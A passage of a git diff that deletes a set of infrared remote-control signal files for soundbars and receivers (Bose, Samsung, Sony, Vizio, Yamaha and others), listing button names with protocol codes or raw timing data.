1508 486 510 482 513 489 1502 482 1509 485 1506 488 1503 481 1511 483 512 490 1501 483 50773 1012 1503 481 1510 484 511 491 505 487 509 483 513 489 507 485 1506 488 507 485 512 490 1501 483 1508 486 1505 489 1502 482 1509 485 511 491 1501 483 -# -name: Other -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1008 1510 484 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 512 490 506 486 1505 489 1502 482 1510 484 1507 487 1504 490 1501 483 1507 487 50768 1014 1501 483 1509 485 511 491 505 487 509 483 513 489 506 486 510 482 514 488 506 486 1506 488 1502 482 1510 484 1507 487 1504 490 1502 482 1509 485 50767 1005 1509 485 1506 488 507 485 511 491 505 487 509 483 512 490 506 486 509 483 514 488 1503 481 1510 484 1507 487 1504 490 1500 484 1508 486 1505 489 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir deleted file mode 100644 index 8169a9688..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Volume_up -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 FC 00 00 -# -name: Volume_down -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 FD 00 00 -# -name: Mode_aux -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0D F2 00 00 -# -name: Mode_bt -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 81 7E 00 00 -# -name: Power -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C B3 00 00 \ No newline at end of file diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir deleted file mode 100644 index ac5b3d752..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1014 1477 517 478 514 509 483 487 515 480 512 484 508 488 514 1479 515 1476 508 1483 511 1481 513 1478 516 1475 509 1482 512 1479 515 480 512 483 509 50775 1014 1477 517 504 488 508 484 513 489 506 486 510 482 514 488 1478 516 1475 509 1483 511 1480 514 1477 517 1474 510 1482 512 1478 516 505 487 509 483 50770 1009 1481 513 508 484 512 490 506 486 510 482 514 488 508 484 1481 513 1478 516 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 509 483 513 489 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1010 1508 486 509 483 513 489 507 485 512 490 505 487 510 482 1509 485 511 491 1501 483 1509 485 1507 487 1504 490 1502 482 1509 485 511 491 1500 484 50779 1010 1506 488 508 484 512 490 505 487 509 483 513 489 506 486 1506 488 507 485 1506 488 1503 481 1510 484 1508 486 1505 489 1503 481 514 488 1503 491 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 -# -name: Bluetooth -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1009 1510 484 1506 488 508 484 512 490 506 486 510 482 514 488 508 484 1508 486 510 482 1510 484 1507 487 1504 490 1502 482 1509 485 1506 488 507 485 50773 1005 1511 483 1507 487 509 483 513 489 506 486 510 482 514 488 508 484 1506 488 508 484 1507 487 1504 490 1501 483 1509 485 1506 488 1503 481 514 488 -# -name: Source -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1005 1511 483 513 489 507 485 511 491 506 486 1505 489 1503 481 1510 484 512 490 1501 483 1509 485 1506 488 1502 482 514 488 508 484 513 489 1501 483 50776 1009 1508 486 510 482 514 488 508 484 513 489 1503 481 1510 484 1508 486 510 482 1510 484 1507 487 1505 489 1502 482 514 488 508 484 512 490 1500 484 50771 1004 1512 482 514 488 508 484 512 490 506 486 1505 489 1502 482 1509 485 512 490 1500 484 1508 486 1505 489 1501 483 513 489 507 485 512 490 1499 485 -# -name: Bass -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1005 1512 482 1508 486 510 482 514 488 508 484 512 490 506 486 1504 490 506 486 510 482 1509 485 1506 488 1503 481 1510 484 1507 487 509 483 1507 487 50765 1010 1504 490 1502 482 514 488 508 484 512 490 505 487 508 484 1508 486 510 482 513 489 1502 482 1509 485 1506 488 1503 481 1511 483 512 490 1501 483 50773 1012 1503 481 1510 484 511 491 505 487 509 483 513 489 507 485 1506 488 507 485 512 490 1501 483 1508 486 1505 489 1502 482 1509 485 511 491 1501 483 -# -name: Other -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1008 1510 484 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 512 490 506 486 1505 489 1502 482 1510 484 1507 487 1504 490 1501 483 1507 487 50768 1014 1501 483 1509 485 511 491 505 487 509 483 513 489 506 486 510 482 514 488 506 486 1506 488 1502 482 1510 484 1507 487 1504 490 1502 482 1509 485 50767 1005 1509 485 1506 488 507 485 511 491 505 487 509 483 512 490 506 486 509 483 514 488 1503 481 1510 484 1507 487 1504 490 1500 484 1508 486 1505 489 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir deleted file mode 100644 index e02deae59..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 09 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 45 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 1B 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 51 00 00 00 -# -name: Play_pause -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 46 00 00 00 -# -name: Rca -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 5D 00 00 00 -# -name: Aux -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 0E 00 00 00 -# -name: Opt -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 0D 00 00 00 -# -name: Bluetooth -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir b/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir deleted file mode 100644 index 2252b1e7a..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 08 F7 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 0C F3 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 0A F5 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 01 FE 00 00 -# -name: Play_pause -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 09 F6 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 07 F8 00 00 -# -name: Next -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 06 F9 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir deleted file mode 100644 index 236364608..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Pwr -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 03 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 06 00 00 00 -# -name: Bluetooth -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: Analog -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: Digital -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: LED -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: Surround -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 04 00 00 00 -# -name: Dialog -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir deleted file mode 100644 index f862d68e4..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4496 4442 513 503 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1511 492 1503 489 1499 514 484 486 504 487 502 489 501 490 4449 517 499 492 499 492 497 483 507 484 1511 492 1504 488 1499 514 483 487 1509 483 1512 491 1504 488 503 488 501 490 500 491 499 492 1504 488 501 490 500 491 492 509 1494 488 55126 4496 4446 541 482 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1503 510 1493 489 1480 512 504 487 503 488 502 489 500 491 4449 517 498 493 497 483 507 484 505 486 1502 511 1492 490 1504 488 502 489 1507 485 1509 483 1512 491 473 518 498 493 496 484 505 486 1510 483 499 512 484 486 504 487 1508 484 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4492 4434 510 505 486 505 486 504 487 503 488 1481 511 1484 518 499 492 498 493 1476 516 1479 513 1483 519 1469 596 402 516 500 491 499 492 498 493 4447 518 498 493 497 483 507 484 506 485 504 487 503 488 494 517 1485 486 1483 519 1476 516 1480 512 504 486 1508 484 1486 517 1479 565 425 513 502 488 501 490 492 509 1467 515 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4504 4432 511 509 492 504 486 509 492 504 486 1478 514 1477 515 507 484 512 489 1476 516 1475 517 1475 517 1474 518 503 487 509 492 503 487 508 493 4446 508 513 488 507 483 512 489 507 483 512 489 506 484 511 490 506 484 1481 511 1480 512 1479 513 509 492 1473 519 1473 519 1472 509 1482 510 511 490 506 484 511 490 1475 517 54985 4498 4437 517 504 486 509 492 504 486 509 492 1473 519 1472 509 512 489 506 484 1481 511 1480 512 1480 512 1479 513 508 493 502 488 507 483 512 489 4449 516 506 485 511 490 505 485 510 491 505 485 510 491 504 486 509 492 1473 519 1473 508 1483 561 434 515 1476 516 1475 517 1474 518 1473 519 502 488 507 483 512 489 1476 516 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4531 4406 516 478 512 484 538 457 544 452 538 1453 518 1473 519 476 546 450 540 1451 509 1482 510 1481 511 1480 512 483 539 457 544 452 538 457 544 4420 513 482 540 456 545 450 540 455 546 1445 547 449 541 454 536 458 543 1449 543 1449 543 1448 544 451 539 456 545 1445 547 1445 547 1444 537 458 543 453 537 457 544 1448 544 54957 4495 4440 514 481 520 477 513 482 519 476 514 1476 516 1475 517 478 512 484 517 1474 518 1473 519 1472 520 1471 521 474 516 479 511 484 517 479 511 4452 512 509 492 503 487 508 493 503 487 1477 515 507 483 512 489 506 484 1481 511 1481 511 1480 512 509 492 503 487 1478 514 1478 514 1477 515 506 484 511 490 505 485 1480 512 -# -name: Source -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4502 4433 510 511 490 506 484 511 490 506 484 1505 487 1505 487 508 493 503 487 1503 489 1476 516 1475 517 1475 517 504 486 509 492 504 486 509 492 4446 518 502 488 508 483 513 488 507 484 1507 485 511 490 1501 491 505 485 1505 487 1479 513 1478 514 507 483 512 489 1501 491 506 484 1479 513 510 491 504 487 509 492 1499 493 54983 4499 4437 517 504 486 509 492 503 487 508 493 1498 483 1508 484 511 490 506 484 1506 486 1479 513 1478 514 1477 515 507 483 512 489 507 483 512 489 4449 515 505 485 511 490 505 485 510 491 1474 518 504 486 1504 488 508 493 1497 484 1481 511 1506 486 510 491 505 485 1505 487 509 492 1498 494 502 488 507 483 512 489 1502 490 -# -name: Sound_effect -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4496 4441 510 510 490 506 484 511 489 506 484 1481 510 1483 518 502 488 508 492 1473 518 1474 517 1474 517 1474 517 504 486 510 490 505 485 510 490 4448 514 507 493 503 487 508 492 503 487 1479 512 1479 512 509 491 1475 516 1475 516 1475 516 1475 516 505 485 511 489 506 484 1482 509 512 488 507 493 502 488 508 492 1473 518 54989 4495 4441 510 510 490 505 485 511 489 506 484 1481 510 1482 509 512 488 507 493 1472 519 1472 519 1473 518 1473 518 503 487 509 491 504 486 510 490 4448 514 507 483 512 488 507 493 502 488 1478 513 1478 513 509 491 1474 517 1474 517 1474 517 1474 517 504 486 510 490 505 485 1481 510 511 489 506 484 512 488 507 483 1483 518 54988 4527 4409 511 510 490 505 485 511 489 506 484 1482 509 1482 509 512 488 507 493 1473 518 1473 518 1473 518 1473 518 503 487 509 491 504 486 510 490 4448 514 507 483 512 488 508 492 503 487 1479 512 1479 512 509 491 1475 516 1475 516 1475 516 1475 516 505 485 510 490 506 484 1482 509 511 489 507 483 512 488 507 493 1473 518 -# -name: Sound -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4495 4442 510 511 489 506 484 512 488 507 483 1482 571 1420 508 512 488 508 493 1473 518 1473 518 1473 518 1473 518 503 487 508 492 503 487 509 491 4447 515 506 484 511 489 506 484 512 488 1477 514 507 483 512 488 508 492 503 487 508 493 503 487 1479 512 509 492 1474 569 1421 570 1421 518 1474 517 1474 569 1422 517 504 486 54995 4503 4433 519 503 487 508 493 503 487 508 493 1473 518 1473 518 477 513 509 491 1474 517 1474 569 1422 517 1474 517 504 486 509 491 504 486 510 490 4448 514 507 483 512 488 507 483 513 487 1478 513 508 492 503 487 508 492 503 487 509 491 504 486 1480 511 510 490 1475 516 1475 516 1475 516 1475 516 1475 516 1475 516 505 485 -# -name: Sound_control -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4504 4433 508 512 488 507 494 502 488 508 492 1473 518 1473 518 503 487 509 491 1474 517 1474 517 1474 517 1474 517 504 486 509 491 504 486 510 490 4448 514 507 483 512 488 507 493 502 488 507 494 1473 518 1473 518 503 487 508 492 1473 518 503 487 1479 512 1479 512 509 491 504 486 1480 511 1480 511 510 490 1475 516 505 485 54996 4503 4433 519 503 487 508 492 503 487 509 491 1474 517 1474 517 504 486 509 491 1474 517 1474 517 1474 517 1474 517 504 486 510 490 505 485 510 490 4448 514 507 483 512 488 507 493 502 488 508 492 1473 518 1473 518 503 487 508 492 1474 517 503 487 1479 512 1479 512 509 491 504 486 1480 511 1480 511 510 490 1475 516 505 485 -# -name: Woofer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4496 4440 512 510 490 479 511 485 515 480 520 1471 520 1471 520 475 515 480 520 1472 519 1472 519 1472 519 1472 519 476 514 481 519 477 513 483 517 4446 516 506 494 474 516 479 521 475 515 480 520 1472 519 475 515 1477 514 1477 514 1477 514 1477 514 481 519 1473 518 476 514 1478 513 508 492 478 512 483 517 478 512 1480 511 54996 4502 4434 518 504 486 482 518 478 512 484 516 1475 516 1475 516 504 486 484 516 1475 516 1475 516 1475 516 1475 516 505 495 474 516 506 495 475 515 4449 513 508 492 503 487 482 518 477 513 482 518 1474 517 478 512 1480 511 1480 511 1480 511 1480 511 510 490 1475 516 479 521 1471 520 474 516 480 520 475 515 507 493 1472 519 -# -name: Auto_power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4502 4435 517 479 511 484 516 479 511 485 515 1476 515 1476 515 480 510 486 514 1477 514 1477 514 1477 514 1477 514 481 519 475 515 482 518 477 513 4451 511 484 517 478 512 484 516 479 511 1480 511 484 516 479 511 1481 510 1481 510 1481 510 1481 510 485 515 481 509 1482 509 1482 509 486 514 481 519 476 514 481 519 1473 518 54987 4502 4434 518 478 512 483 517 479 511 484 516 1475 516 1475 516 478 512 485 516 1476 515 1476 515 1476 515 1476 515 479 521 475 515 480 520 476 514 4449 513 482 518 478 512 483 517 478 512 1480 511 484 516 479 511 1480 511 1480 511 1480 511 1480 521 474 516 479 521 1471 520 1471 520 501 489 480 520 475 515 481 519 1472 519 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir deleted file mode 100644 index ab7a355d2..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# Sony RM-SGS3 (for MHC-GS300AV) -name: Sleep -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 60 00 00 00 -# -name: Balance Left -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 26 00 00 00 -# -name: Balance Right -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 27 00 00 00 -# -name: Power -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 15 00 00 00 -# -name: Center + -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 54 00 00 00 -# -name: Center - -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 55 00 00 00 -# -name: Rear + -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4E 00 00 00 -# -name: Rear - -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4F 00 00 00 -# -name: Game -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: Tape -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 23 00 00 00 -# -name: Display -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: Tuning + -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 34 00 00 00 -# -name: Preset + -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 31 00 00 00 -# -name: Album + -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 67 00 00 00 -# -name: Disc + -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: Preset EQ -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 6E 00 00 00 -# -name: Groove -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7A 00 00 00 -# -name: Vol + -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 12 00 00 00 -# -name: Vol - -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 13 00 00 00 -# -name: Surround -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 40 00 00 00 -# -name: Disc - -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: Album - -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 66 00 00 00 -# -name: Tuning - -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 33 00 00 00 -# -name: Preset - -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 30 00 00 00 -# -name: Play -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 32 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 39 00 00 00 -# -name: Stop -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 38 00 00 00 -# -name: Tuner/Band -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: CD -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 25 00 00 00 -# -name: Test Tone -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: 5.1 ch -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: Video (MD) -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 22 00 00 00 -# -name: Pro Logic -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir deleted file mode 100644 index c326b8055..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: Mute -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir deleted file mode 100644 index 9324f88a5..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC -address: 10 00 00 00 -command: 15 00 00 00 -# -name: Vup -type: parsed -protocol: SIRC -address: 10 00 00 00 -command: 12 00 00 00 -# -name: Vdwn -type: parsed -protocol: SIRC -address: 10 00 00 00 -command: 13 00 00 00 -# -name: Func -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 69 00 00 00 -# -name: Light -type: parsed -protocol: SIRC20 -address: 10 04 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir deleted file mode 100644 index 409f8bee6..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 00 00 00 00 -command: C9 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Play_Pause -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: Rewind -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: Fast_Forward -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8B 00 00 00 -# -name: Bluetooth -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 22 00 00 00 -# -name: TVOL -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: VRT_X -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Bass -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 02 00 00 00 -# -name: EQ -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 66 00 00 00 -# -name: Treb -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir deleted file mode 100644 index 1fb761636..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Yamaha_power -type: parsed -protocol: NEC -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 47 38 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 4A 35 00 00 -# -name: Hdmi_3 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 4D 32 00 00 -# -name: Hdmi_4 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 50 2F 00 00 -# -name: Hdmi_5 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 70 0F 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: Enter -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: On_screen -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: Return -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: Option -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 6B 14 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: Pop_upmenu -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: A4 DB 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 9F 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Stlth_acou.ir b/assets/ir_optional_assets/optional-assets/Stlth_acou.ir deleted file mode 100644 index 103f1a76c..000000000 --- a/assets/ir_optional_assets/optional-assets/Stlth_acou.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6355 4752 1414 414 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 386 761 749 388 381 756 754 383 386 761 749 388 380 757 754 383 411 726 759 388 406 731 753 384 411 726 758 389 405 732 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 725 412 409 728 385 762 404 733 751 386 409 728 411 726 414 733 750 387 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6346 4759 1417 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 382 755 756 381 387 760 750 387 408 729 755 382 413 734 750 387 407 730 755 382 412 735 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 15724 6353 4753 1423 405 732 752 385 410 727 757 390 378 759 751 386 409 728 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 407 730 728 409 412 735 749 388 380 757 754 383 412 725 759 388 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 15729 6348 4758 1418 410 727 757 390 405 732 752 385 409 728 757 390 404 733 751 386 409 728 756 381 414 733 751 386 408 729 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 754 383 412 735 749 388 407 730 754 383 412 725 759 388 380 757 753 384 411 726 758 389 405 732 753 384 410 727 758 389 405 732 752 385 410 727 757 390 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6344 4762 1415 413 734 750 387 381 756 755 382 386 761 749 388 380 757 754 383 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 409 728 730 417 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 412 735 749 388 407 730 727 410 411 726 758 389 405 732 408 729 755 382 757 390 404 733 407 730 754 383 756 381 15733 6346 4761 1416 386 761 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 